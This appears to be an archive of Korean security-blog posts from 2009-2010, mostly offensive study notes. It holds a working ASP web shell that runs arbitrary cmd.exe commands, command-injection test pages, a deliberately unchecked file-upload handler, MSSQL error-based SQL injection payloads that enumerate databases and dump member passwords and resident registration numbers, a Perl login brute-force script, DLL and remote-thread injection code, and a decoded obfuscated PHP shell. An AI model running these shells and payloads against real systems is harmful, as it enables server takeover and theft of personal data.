ren *.aaa *.bbb

'tips' 카테고리의 다른 글

xp zune테마  (0) 2010.02.19
WebAPP별 파라미터 전송방식  (0) 2010.02.01
파일업로드 예제  (0) 2010.01.05
OS Command Injection 환경예제  (0) 2010.01.04
DEP 해제  (0) 2009.12.29
Posted by applicationlayer
:
w3af로 파일업로드 익스플로잇을 실행시키려니 계속 먹히지가 않아서 w3af에서 사용하는 웹쉘을 약간 수정하였다.
asp환경인데 aspx용 코드도 있고해서 손을 좀 보았는데 내가 개발을 해본적이 있어야지-_- 그냥저냥 돌아가니 됐지 머;;;
이번이슈를 떠나서 w3af 진심 구리다 -_- 버려버려

<HTML>
<link rel="stylesheet" type="text/css" href="style.css">

<BODY topmargin="2" leftmargin="2">
<PRE>                                                        
<%
  ' --------------------o0o--------------------
  ' File: CmdAsp.asp
  ' Author: Maceo <maceo @ dogmile.com> (some changes made by Dinis Cruz (dinis@ddplus.net))
  ' Release: 2000-12-01
  ' OS: Windows 2000, 4.0 NT
  ' -------------------------------------------

  'Dim oScript
  'Dim oScriptNet
  'Dim oFileSys, oFile
  Dim szCMD, szTempFile

'  On Error Resume Next

  ' -- create the COM objects that we will be using -- '
  Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

  ' -- check for a command that we have posted -- '
  szCMD = Request("CMD")
  If (szCMD = "") Then
    Response.Write("15825b40c6dace2a" & "7cf5d4ab8ed434d5")
  Else
    ' -- Use a poor man's pipe ... a temp file -- '
    szTempFile = Request.ServerVariables("APPL_PHYSICAL_PATH") & oFileSys.GetTempName( )
    Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
'    response.write(szTempFile)
'    response.end
Set    oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

    ' -- Read the output from our command and remove the temp file -- '
'    On Error Resume Next
    Response.Write (replace(Server.HTMLEncode(oFile.ReadAll),vbnewline+vbnewline,vbnewline))
    oFile.Close
    Call oFileSys.DeleteFile(szTempFile, True)
  End If
%>
</PRE>
</BODY>
</HTML>

'webhxxx > webshell' 카테고리의 다른 글

최신 웹쉘 동향php  (0) 2012.01.09
Posted by applicationlayer
:

파일업로드 예제

tips 2010. 1. 5. 20:54 |
--php--
upload.html

<html>
<body>
<form action="upload_file.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>



upload_file.php
<?php
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }
  }
else
  {
  echo "Invalid file";
  }
?>


--asp-- 컴포넌트의 설치가 필요하다
upload.html
 <form METHOD ="POST" action="upload_file.asp" name="form" enctype="multipart/form-data">
<input type="file" name="ufile"  size="20"><input type=submit>
</form>
</table>

upload_file.asp
<% set up = Server.CreateObject("SiteGalaxyUpload.Form")
set fs = server.CreateObject("Scripting.FileSystemObject")
fn = "c:\carmel\board\upload\" & fs.GetFileName(up("ufile").FilePath)
up("ufile").SaveAs(fn)
%>
<html>
<body>
업로드
</body>
</html>
<% set fs = Nothing
set up = Nothing %>

'tips' 카테고리의 다른 글

WebAPP별 파라미터 전송방식  (0) 2010.02.01
윈도우 확장자 한꺼번에 바꾸기  (0) 2010.01.25
OS Command Injection 환경예제  (0) 2010.01.04
DEP 해제  (0) 2009.12.29
Apache DefaultCharset  (0) 2009.12.04
Posted by applicationlayer
:
PHP
<?php
$last = exec($param,$output,$return);
print_r($output);
echo "Return [$return]";
?>


ASP
<%
  szCMD = request("tex")
  Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")    

  szTempFile = "C:\ttt.txt"
Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
%>
<HTML>
<BODY>
<PRE>
<br>
<%
  If (IsObject(oFile)) Then
    ' -- Read the output from our command andand remove the temp file -- '
    On Error Resume Next
    Response.Write Server.HTMLEncode(oFile.ReadAll)
    oFile.Close
    CallCall oFileSys.DeleteFile(szTempFile, True)
  End If
%>
</BODY>

'tips' 카테고리의 다른 글

윈도우 확장자 한꺼번에 바꾸기  (0) 2010.01.25
파일업로드 예제  (0) 2010.01.05
DEP 해제  (0) 2009.12.29
Apache DefaultCharset  (0) 2009.12.04
IE 8.0에서 세션공유기능 해제  (0) 2009.11.17
Posted by applicationlayer
:
파일 업로드시 패킷을 뜨기 위해서 간단한 스크립트를 이용할 수 있다.

  use HTTP::Request::Common;
  use LWP::UserAgent;
  $ua = LWP::UserAgent->new;LWP::UserAgent->new;
  my $req = POST 'http://[서버주소]',Content_Type => 'form-data',Content => [ info_file => ["파일명"] ];
  $ua->request($req);

3 way handshaking을 맺어야하므로 서버측에 80번 포트를 열어주어야 패킷이 나간다.


'programming > perl' 카테고리의 다른 글

외부파일실행예제  (0) 2010.04.28
웹페이지 긁어오기 예제  (0) 2010.04.09
web login dictionary attack  (0) 2009.12.03
HTTP요청 스크립트(ActivePerl) form-data  (0) 2009.11.19
apache log shooter(GET)  (0) 2009.10.11
Posted by applicationlayer
:

DEP 해제

tips 2009. 12. 29. 13:26 |
boot.ini수정
/noexecute=alwaysoff


'tips' 카테고리의 다른 글

파일업로드 예제  (0) 2010.01.05
OS Command Injection 환경예제  (0) 2010.01.04
Apache DefaultCharset  (0) 2009.12.04
IE 8.0에서 세션공유기능 해제  (0) 2009.11.17
DbgView  (0) 2009.10.23
Posted by applicationlayer
:

Pangolin(MSSQL)

webhxxx/weblog 2009. 12. 18. 17:22 |
-Information
--Version : ' and @@version=1--
--Db Name : ' and db_name()=0--
--Server Name : ' and @@servername=0--
--Host Name : ' and host_name()=0--
--System User : ' and system_user=0--
--Current User : ' and user=0--
--Privilege : ' and cast(is_srvrolemember(0x730079007300610064006d0069006e00) as nvarchar(1))+char(124)=1--
--Databases :
' and 0=(select top 1 cast([name] as nvarchar(256))+char(94)+cast([filename] as nvarchar(256)) from(select top  1 dbid,name,filename from [master].[dbo].[sysdatabases] order by [dbid]) t order by [dbid] desc)--
' and 0=(select top 1 cast([name] as nvarchar(256))+char(94)+cast([filename] as nvarchar(256)) from(select top  2 dbid,name,filename from [master].[dbo].[sysdatabases] order by [dbid]) t order by [dbid] desc)--
.
.
.
동일한 응답이 나오면 중단

--Drivers :
'%20;drop%20table%20pangolin_test_table;--
'%20;create%20table%20pangolin_test_table(name%20nvarchar(255),low%20nvarchar(255),high%20nvarchar(255),type%20nvarchar(255));--
'%20;insert%20pangolin_test_table%20exec%20master.dbo.xp_availablemedia;--
'%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([type]%20as%20nvarchar(4000))%20from(select%20top%20%201%20[name],[low],[high],[type]%20from%20pangolin_test_table%20group%20by%20[name],[low],[high],[type]%20order%20by%20[name])%20t%20order%20by%20[name]%20desc)----
'%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([type]%20as%20nvarchar(4000))%20from(select%20top%20%202%20[name],[low],[high],[type]%20from%20pangolin_test_table%20group%20by%20[name],[low],[high],[type]%20order%20by%20[name])%20t%20order%20by%20[name]%20desc)----
'%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([type]%20as%20nvarchar(4000))%20from(select%20top%20%203%20[name],[low],[high],[type]%20from%20pangolin_test_table%20group%20by%20[name],[low],[high],[type]%20order%20by%20[name])%20t%20order%20by%20[name]%20desc)----
'%20;drop%20table%20pangolin_test_table;--

--LocalGropus :
'%20;drop%20table%20pangolin_test_table;--
'%20;create%20table%20pangolin_test_table(name%20nvarchar(255),description%20nvarchar(4000));--
'%20;insert%20pangolin_test_table%20exec%20master.dbo.xp_enumgroups;--
'%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([description]%20as%20nvarchar(4000))%20from(select%20top%20%201%20[name],[description]%20from%20pangolin_test_table%20group%20by%20[name],[description]%20order%20by%20[name])%20t%20order%20by%20[name]%20desc)----
'%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([description]%20as%20nvarchar(4000))%20from(select%20top%20%202%20[name],[description]%20from%20pangolin_test_table%20group%20by%20[name],[description]%20order%20by%20[name])%20t%20order%20by%20[name]%20desc)----
'%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([description]%20as%20nvarchar(4000))%20from(select%20top%20%203%20[name],[description]%20from%20pangolin_test_table%20group%20by%20[name],[description]%20order%20by%20[name])%20t%20order%20by%20[name]%20desc)----
>
' ;drop table pangolin_test_table;--
' ;create table pangolin_test_table(name nvarchar(255),description nvarchar(4000));--
' ;insert pangolin_test_table exec master.dbo.xp_enumgroups;--
' and 0=(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) from(select top  1 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)----
' and 0=(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) from(select top  2 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)----
' and 0=(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) from(select top  3 [name],[description] from pangolin_test_table group by


-Data
--Tables(조회)
' and (select cast(count(1) as varchar(10))+char(94) from [sysobjects] where xtype=char(85) and status!=0)=0--
sysobjects의 레코드중 xtype이 u인 갯수 (사용자테이블 갯수)

' and (select top 1 cast(name as varchar(256)) from(select top 1 id,name from [sysobjects] where xtype=char(85) and status!=0 order by id) t order by id desc)=0--
' and (select top 1 cast(name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=0 order by id) t order by id desc)=0--
' and (select top 1 cast(name as varchar(256)) from(select top 3 id,name from [sysobjects] where xtype=char(85) and status!=0 order by id) t order by id desc)=0--
테이블명 추출

--Columns
' and (select top 1 cast(id as nvarchar(20))+char(124)  from [sysobjects] where name=0x6d0065006d00620065007200)=0--
테이블명을 헥사로 변경(우회)하여 id값을 추출 (from sysobjects)

' and (select cast(count(1) as varchar(10))+char(94) from [syscolumns] where id=549576996)=0--
id값을 가진 모든 column갯수 추출 (from syscolumns)

' and (select top 1 cast(name as varchar(8000)) from (select top 1 colid,name from [syscolumns] where id=549576996 order by colid) t order by colid desc)=0--
각 column의 이름 추출 (from syscolumns)
.
.
.
' and (select top 1 cast(name as varchar(8000)) from (select top 2 colid,name from [syscolumns] where id=549576996 order by colid) t order by colid desc)=0--
계속 추출

--Datas
' and (select cast(count(1) as varchar(8000))+char(94) from [member] where 1=1)=0--
해당 테이블(member)의 레코드 수 추출

' and (select top 1
isnull(cast([mem_id] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_pwd] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_name] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_jumin] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_zip] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_addr1] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_addr2] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_tel] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_hp] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_email] as nvarchar(4000)),char(32))
+char(94)+
isnull(cast([mem_wtday] as nvarchar(4000)),char(32))
from [member] where 1=1 order by [mem_id])=0--
각 레코드의  필드값 알아내기

이어서..
Posted by applicationlayer
:

Apache DefaultCharset

tips 2009. 12. 4. 21:23 |
웹 개발자는 자신이 원하는 형태로 Charset을 정하기를 원하는데 웹서버의 기본 Charset으로 인해 문제가 발생할 수 있다.

브라우저에서 아래의 태그를 읽어들이더라도 웹서버Charset이 euc-kr로 되어있다면 euc-kr로 해석하게 된다.
<META HTTP-EQUIV=CONTENT-TYPE CONTENT=text/html charset=UTF-7>


해결방법
httpd.conf 또는 apache2.conf파일의 AddDefaultCharset을 Off로 설정한다.

AddDefaultCharset Off

'tips' 카테고리의 다른 글

OS Command Injection 환경예제  (0) 2010.01.04
DEP 해제  (0) 2009.12.29
IE 8.0에서 세션공유기능 해제  (0) 2009.11.17
DbgView  (0) 2009.10.23
Microsoft Network Monitor  (0) 2009.10.02
Posted by applicationlayer
:
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
require HTTP::Request;
require HTTP::Response;
if( $#ARGV != 1 )
  { die "Usage: webbf.pl \"192.168.1.150/login.asp?id=TEST&pw=TEST\" [DICfilename]\n";}

$ARGV[0] =~ /([\w.\/]{1,30}\/\w{1,20}\.\w{1,4}\?)([\w=&]{1,100})=TEST&(\w{1,10})=TEST/;
$URL = $1;
$IDparam = $2;
$PWparam = $3;

$DicfileName = $ARGV[1];
open( fileHandle, $DicfileName ) || die "Cannot open $fileName.\n";

$attnum=1;


while($aLine =<fileHandle>)
{
    $aLine =~s/\r//;
    $aLine =~s/\n//;
    
    $ID = $aLine;
    $PW = $aLine;

  $bruteforce = 'http://'.$URL.$IDparam.'='.$ID.'&'.$PWparam.'='.$PW;
  $req = HTTP::Request->new(GET => $bruteforce);
  $res = $ua->request($req);
  print $attnum++.'.--->'.$bruteforce."\n";

  if($res->content !~/아이디가/)
 {
    print "bruteforce success\n\n\n\n";
    print $res->content;
    die "\n";
  }
}


웹 애플리케이션 로그인 dictionary attack공격
한번 요청시마다 일일이 다시 세션을 맺는데 이건 보완해야겠다.

'programming > perl' 카테고리의 다른 글

웹페이지 긁어오기 예제  (0) 2010.04.09
HTTP 파일업로드(Perl)  (0) 2009.12.30
HTTP요청 스크립트(ActivePerl) form-data  (0) 2009.11.19
apache log shooter(GET)  (0) 2009.10.11
WireShark HTTP파싱 스크립트  (0) 2009.09.30
Posted by applicationlayer
:
  use HTTP::Request::Common qw(POST);
  use LWP::UserAgent;
  $ua = LWP::UserAgent->new;
  my $req = POST 'http://192.168.1.157',Content_Type => 'form-data',Content => [ search => 'www', errors => 0 ];
  $ua->request($req);


o>_<o

'programming > perl' 카테고리의 다른 글

HTTP 파일업로드(Perl)  (0) 2009.12.30
web login dictionary attack  (0) 2009.12.03
apache log shooter(GET)  (0) 2009.10.11
WireShark HTTP파싱 스크립트  (0) 2009.09.30
HTTP요청 스크립트(ActivePerl)  (0) 2009.09.30
Posted by applicationlayer
:
IE 8.0에서는 Registry에서
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
요기 에다가
DWORD 로 "SessionMerging" 라는 이름으로 값을 0 으로 하면 요 기능 해제가능합니다

또는

"C:\Program Files\Internet Explorer\iexplore.exe" –nomerge 를 이용하여 실행시키믄 됩니다

'tips' 카테고리의 다른 글

DEP 해제  (0) 2009.12.29
Apache DefaultCharset  (0) 2009.12.04
DbgView  (0) 2009.10.23
Microsoft Network Monitor  (0) 2009.10.02
WireShark의 부가기능  (0) 2009.10.01
Posted by applicationlayer
:

[펌]메시지훅 예제

hooking 2009. 11. 2. 10:09 |
출처: wowhacker

// dll.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"

#ifdef _MANAGED
#pragma managed(push, off)
#endif

#pragma data_seg("SHARDATA")
static HINSTANCE hInstance;
static HHOOK hook_inst;
static int hooked;
#pragma data_seg()

LRESULT CALLBACK keyboardproc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode>=0)
    {
        if((wParam==32) && (((lParam >>30) & 1)==0)&& hooked==0)
            MessageBox(0, "hello world!","DLL Injection Ex",0);
    }
    return CallNextHookEx(hook_inst,nCode, wParam, lParam);
}

extern "C" __declspec(dllexport) int sethook()
{
    HWND h;
    DWORD pid;

    h=FindWindow(0,"계산기");
    if(h==0)
    {
        return 0;
    }

    hook_inst=SetWindowsHookEx(WH_KEYBOARD,keyboardproc,hInstance,GetWindowThreadProcessId(h,NULL));
    return 1;
}

extern "C" __declspec(dllexport) int unhook()
{
    MessageBox(0, "UnHook!","test",0);
    UnhookWindowsHookEx(hook_inst);
    return 1;
}



BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch(ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        hInstance=hModule;
        hooked=0;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


'hooking' 카테고리의 다른 글

outputdebugstring사용  (0) 2011.06.25
지뢰찾기 핵  (0) 2009.11.01
hooking_study_1  (0) 2009.10.23
DLL Injector  (0) 2009.10.02
Posted by applicationlayer
:

지뢰찾기 핵

hooking 2009. 11. 1. 18:01 |
somma 님이 만든 지뢰찾기 핵이다. thread injection이라는 기법을 사용하여 원격의 프로세스에 원하는 코드를 실행시킨다고 한다.
http://somma.egloos.com/2881725

기존 소스에서 프로세스를 찾아주는 코드와
증분링크테이블(ILT)체크를 위한 조건을 추가하였다.(http://hongyver.pe.kr/ttblog/entry/증분링크)

================================================================================================
__declspec( naked )
DWORD __stdcall injetor_stub(void* pBlock)
{
    __asm      /* prolog */
    {
        push   ebp
        mov      ebp, esp
        sub      esp, __LOCAL_SIZE
    }
    __asm
    {
        mov   eax, 0x0A
        push  eax
        mov   eax, 0x01002F80
        call  eax
    }
    __asm      /* epilog */
    {
        xor eax, eax          // always return 0 (33 C0)
        mov esp, ebp
        pop ebp
        /* epilog signature */
        xor eax, eax
        xor eax, eax
        ret 4             // 0xC3
    }
}

int main(int argc, char* argv[])
{
    HWND hwnd;
    DWORD dwPid;
    hwnd = FindWindow(0, "지뢰 찾기");
    //지뢰찾기게임이 열려있을경우 윈도우 핸들러를 얻는다.

    GetWindowThreadProcessId(hwnd, &dwPid);
    //알아낸 핸들러 값을 통해 지뢰찾기 프로세스ID를 얻는다.

    HANDLE hProc = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |
        PROCESS_VM_WRITE | PROCESS_VM_READ,
        FALSE,
        dwPid);
    //지뢰찾기 프로세스에 대한 핸들을 얻는다.
   
    DWORD FunctionRVA = (DWORD)injetor_stub;
    if (FunctionRVA < 0x80000000 && *(PBYTE)FunctionRVA == 0xE9)
    {
        FunctionRVA = ((DWORD)(FunctionRVA) + (*(DWORD *)((PBYTE)FunctionRVA+1)) + 5);
    }
    //삽입할 함수(injetor_stub)의 주소값을 구한다.
    //컴파일시 증분링크 테이블이 존재하면 injetor_stub은 증분링크 주소를 나타내기 때문에
    //정확하게 함수가 정의된 주소를 알려주기 위한 코드이다.

    int proc_size = 51;
    // 삽입할 코드사이즈(대충;;)

    char* proc_buf = (char *) VirtualAllocEx( hProc,
        0,
        proc_size,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);
    // 지뢰찾기 프로세스에 51만큼 메모리공간을 할당한다.

    if (hProc == NULL)
    {
        printf("openprocess error");
    }

    DWORD dwBytesWritten = 0;

    if (0 == WriteProcessMemory(hProc,
        proc_buf,
        (char *)FunctionRVA,
        proc_size,
        &dwBytesWritten))
    {
        printf("writeprocessmemory error");
    }
    // 할당한 메모리영역에 삽입할 코드를 입력한다.

    DWORD dwTid = 0;
    HANDLE hThread = CreateRemoteThread( hProc,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)proc_buf,
        NULL,
        CREATE_SUSPENDED,
        &dwTid);
    if(hThread==0)
    {
        printf("createremotethread error");
    }
    //지뢰찾기 프로세스에 스레드생성    

    ResumeThread(hThread);
   
    WaitForSingleObject(hThread, INFINITE);
   
    CloseHandle(hThread); hThread = NULL;
    VirtualFreeEx(hProc, proc_buf, proc_size, MEM_RELEASE);
    proc_buf = NULL;
   
    CloseHandle(hProc); hProc = NULL;
   
    return 0;
}


================================================================================================



'hooking' 카테고리의 다른 글

outputdebugstring사용  (0) 2011.06.25
[펌]메시지훅 예제  (0) 2009.11.02
hooking_study_1  (0) 2009.10.23
DLL Injector  (0) 2009.10.02
Posted by applicationlayer
:

DbgView

tips 2009. 10. 23. 14:29 |

windows.h인클루드


사용법
OutputDebugString("졸려");

Dbgview.exe


'tips' 카테고리의 다른 글

Apache DefaultCharset  (0) 2009.12.04
IE 8.0에서 세션공유기능 해제  (0) 2009.11.17
Microsoft Network Monitor  (0) 2009.10.02
WireShark의 부가기능  (0) 2009.10.01
Open Command Line on this Location  (0) 2009.09.30
Posted by applicationlayer
:

hooking_study_1

hooking 2009. 10. 23. 13:39 |
dll injection을 통해 crackme인증우회(메모리 변경)




=============인젝션할 dll=========================================
#include <stdio.h>

#include <windows.h>

#define EXPORT extern "C" __declspec(dllexport)

// DLL을 로드한 곳에서 EXPORT한 함수명을 쓸수있게 함



BOOL Change()
{
    BYTE *pJumpAddr; //조건분기문 주소 포인터
    DWORD dwOldProtect;
    DWORD dw;
    pJumpAddr = (BYTE *)0x00401160; //조건분기문위치
    //GetProcAddress 필요없음
    VirtualProtect(pJumpAddr, 2, PAGE_WRITECOPY, &dwOldProtect);
   
    *pJumpAddr = 0x90; //nop
    *(pJumpAddr + 1) = 0x90; //nop
    VirtualProtect(pJumpAddr, 2, dwOldProtect, &dw);
    return TRUE;
}

BOOL APIENTRY DllMain(HANDLE hModule,

                      DWORD ul_reason_for_call,

                      LPVOID lpReserved)

{
    switch(ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:


        Change();
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;

}

'hooking' 카테고리의 다른 글

outputdebugstring사용  (0) 2011.06.25
[펌]메시지훅 예제  (0) 2009.11.02
지뢰찾기 핵  (0) 2009.11.01
DLL Injector  (0) 2009.10.02
Posted by applicationlayer
:

어셈_조건분기문

rexxxxx 2009. 10. 23. 09:42 |

1.2 조건분기 명령어 요약표 #

  1. 아래의 표에서 SF와 OF를 비교하는 조건은 부호를 식별한다는 것으로 생각하시면 됩니다.
  2. ZF는 상호 뺄셈을 하였을때 0인경우를 1로 봅니다. 즉, 값이 같을때 1이 됩니다.
  3. OF(Overflow)와 CF(Carry)의 차이를 혼돈하시는 분이 계실거 같은데 CF는 자리빌림을 하는 경우이고 OF는 계산결과가 Sign bit가 반전될때 발생합니다.
    명령어 부등호 조건 Flag 조건
    JMP 1(True)
    JA > CF=0 & ZF=0
    JNBE > CF=0 & ZF=0
    JAE >= CF=0 | ZF=1
    JNB >= CF=0 | ZF=1
    JB < CF=1
    JNAE < CF=1
    JBE <= CF=1 | ZF=1
    JNA <= CF=1 | ZF=1
    JCXZ CX == 0 .
    JE == ZF=1
    JZ == ZF=1
    JG > ZF=0 & SF == OF
    JNLE > ZF=0 & SF == OF
    JGE >= SF == OF
    JNL >= SF == OF
    JL < SF != OF
    JGNE < SF != OF
    JLE <= ZF == 1 | SF != OF
    JNG <= ZF == 1 | SF != OF
    JNE != ZF == 0
    JNZ != ZF == 0
    JNO No overflow OF == 0
    JNP No parity (홀수) PF == 0
    JPO No parity (홀수) PF == 0
    JNS No sign (양수) SF == 0
    JO Overflow OF == 1
    JP Parity (작수) PF == 1
    JS Sign (음수) SF == 1

출처: http://www.repatori.com/26

'rexxxxx' 카테고리의 다른 글

PEcompact MUP  (0) 2015.09.19
VC in the TLS callback, there are always some problems, basically as follows  (0) 2010.07.06
Posted by applicationlayer
:

PHP 소스분석

programming/php 2009. 10. 22. 10:02 |

모 웹 사이트에 위의 코드를 업로드하려는 시도가 발견되었다.
$vopcrew = "pZLNd8MwEITvgbyDIgyWIZT059Q0xdBYYg30TRCOvIpIecl15cYh5N0ryWTSUCCH3sTMzrfDosQgTJF8/b7mH5/L6QRRcgj9TLRi9mT3srGv9CwafEEMjk0immVSSBnfgLDtR0OgdMHJxtTF8spnIjstnDKaxDkJ2cGnLYQOduonlCR5Blrr9oMdfCXZGOPQK2fIRehOpNHNwzMOzwMoLD4Bv43SjH52bTaOvkeNYw2IFdQ1v2BCjPyiD4VhQ/booDkVMxuOrrCOhUM+S3TIyPdQW2NcGO1Ae1Gc9SLokosaCs1hrHkLUUrZ7urS0fz32lwh90TTTAEskQHRmhb0Y2t3dvb3dzR8il2ld2CzXIKRPpJy5ECif+fD0k9EbWh+v2trypbkGMqK2mCgx9VeseA6q3AoKL8=";
eval(gzinflate(str_rot13(base64_decode($vopcrew))));
exit;

id라는 시스템명령을 실행하려는 소스이며 exec, system, passthru, popen등으로 시도한다는 걸 알 수 있다.
실행결과화면은 다음과 같다.


<?php
$os = @PHP_OS;
echo "v0pCr3w";
echo "os:$os";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe)
{
  $res = '';
  if (!empty($cfe))
  {
    if(function_exists('exec'))
    {
      @exec($cfe,$res);
      $res = join("\n",$res);
    }
    elseif(function_exists('shell_exec'))
    {
      $res = @shell_exec($cfe);
    }
    elseif(function_exists('system'))
    {
      @ob_start(); @system($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    }
    elseif(function_exists('passthru'))
    {
      @ob_start();
      @passthru($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    }
    elseif(@is_resource($f = @popen($cfe,"r")))
    {
      $res = "";
      while(!@feof($f))
      {
        $res .= @fread($f,1024);
      }
      @pclose($f);
    }
  }
  return $res;
}
?>

'programming > php' 카테고리의 다른 글

PHP backticks shell command  (0) 2010.08.04
session_start()사용시 주의  (0) 2010.05.04
exec(함수  (0) 2010.04.22
safemode  (0) 2010.03.08
Posted by applicationlayer
:

CString형변환

programming/C++ 2009. 10. 12. 00:16 |

CString -> BYTE

BYTE*   temp;
CString   cmd;
에서 cmd 의 값을 temp에 할당하려 할때.

 

temp=new BYTE[255];
temp=(LPBYTE)(LPCSTR)cmd;
delete []temp;

 

or

 

CString str = _T("abcd");
BYTE* pbyte = new BYTE[256];
int nSize;
nSize = str.GetLength();
CopyMemory( pbyte, str.GetBuffer(nSize), nSize );
pbyte[nSize] = 0;

 

or

 

strcpy(szNamePlace,(LPCTSTR)name);


or

 

CString str = "string";
BYTE* pByte;
pByte = (BYTE*)(LPTSTR)(LPCTSTR)str;

 

BYTE -> CString

CString testString;
BYTE    testByte;
testString.Format( "%s", testByte );

 

CString -> BYTE *

CString name = "몽룡이";
BYTE byte[26] = {0};
BYTE bName[26] = {0x0,};

sprintf((char*)byte, "%s", name);

memcpy(bName, byte, 26);

 

CString strTmp1, strTmp2;
strTmp1 = "";
strTmp2 = "";

for(int i=0; i<26; i++) {
    strTmp1.Format("%02X ", bName[i]);
    strTmp2 += strTmp1;
}
MessageBox(strTmp2, "", 0);

 

26바이트의 크기의 이름이다. 남는 공간은 0으로 채워진다

 

CString -> int

CString의 문자열을 바로 숫자로 바꾸는것은
아직 보지 못했습니다.
아마 atoi()나 atod()의 C함수를 사용해야 될것 같네요.
도움말을 참고하세요.

 

int -> CString

CString str;
int i = 6;
str.Format("%d",i);    // str에 6의 문자가 들어갑니다.


BYTE -> int, int -> BYTE

바로 형변환으로 가능합니다.
bt = (BYTE)i;          // 주의 : 작은 크기로 들어가기 때문에
                       // 255 이상의 값은 엉뚱하게 동작하겠지요.
i = (int)bt;

 

CString  => char* 변환

char * ch;
CString *str;

1) ch = (LPSTR)(LPCSTR)str;

2) ch = str.GetBuffer(str.GetLength());
3) wsprintf( ch, "%s", str);

 

 

char*  =>  CString 변환

1) str = (LPCSTR)(LPSTR)ch;
2) str = ch;

 

참고)

LPSTR 은 char* 입니다.

LPSTR : char stirng의 32비트 포인터, char* 와 같다.

LPCTSTR : Constant character String의 32비트 포인터

UINT : 32비트 unsigned형 정수
DWORD : unsigned long int형

BYTE : 8비트 unsigned 정수

 

1.CString 클래스의 GetBuffer()는 CString을 char *로 바꿔줍니다.

ex) CString strTemp = _T("test");
    char *getTemp=NULL;

    getTemp = malloc(strTemp.GetLength()+1);
    strcpy(getTemp, strTemp.GetBuffer(strTemp.GetLength());
    printf("결과:%sn", getTemp);

    free(getTemp);

2. operator LPCTSTR ()도 마찬가지입니다.

ex) CString strTemp = _T("test");
    char *getTemp = (LPSTR)(LPCSTR)strData;

 


CString -> BYTE*

CString str="1234";

BYTE *pbyte;

pbyte = (BYTE(LPSTR)(LPCSTR)str;


CString str = _T("abcd");

BYTE* pbyte = new BYTE[256];

int nSize;

nSize = str.GetLength();

CopyMemory( pbyte, str.GetBuffer(nSize), nSize );

pbyte[nSize] = 0;

 

CString  => char* 변환

char * ch;
CString *str;

1) ch = (LPSTR)(LPCSTR)str;

2) ch = str.GetBuffer(str.GetLength());
3) wsprintf( ch, "%s", str);

 

char*  =>  CString 변환

1) str = (LPCSTR)(LPSTR)ch;
2) str = ch;

 

참고)

LPSTR 은 char* 입니다.

LPSTR : char stirng의 32비트 포인터, char* 와 같다.

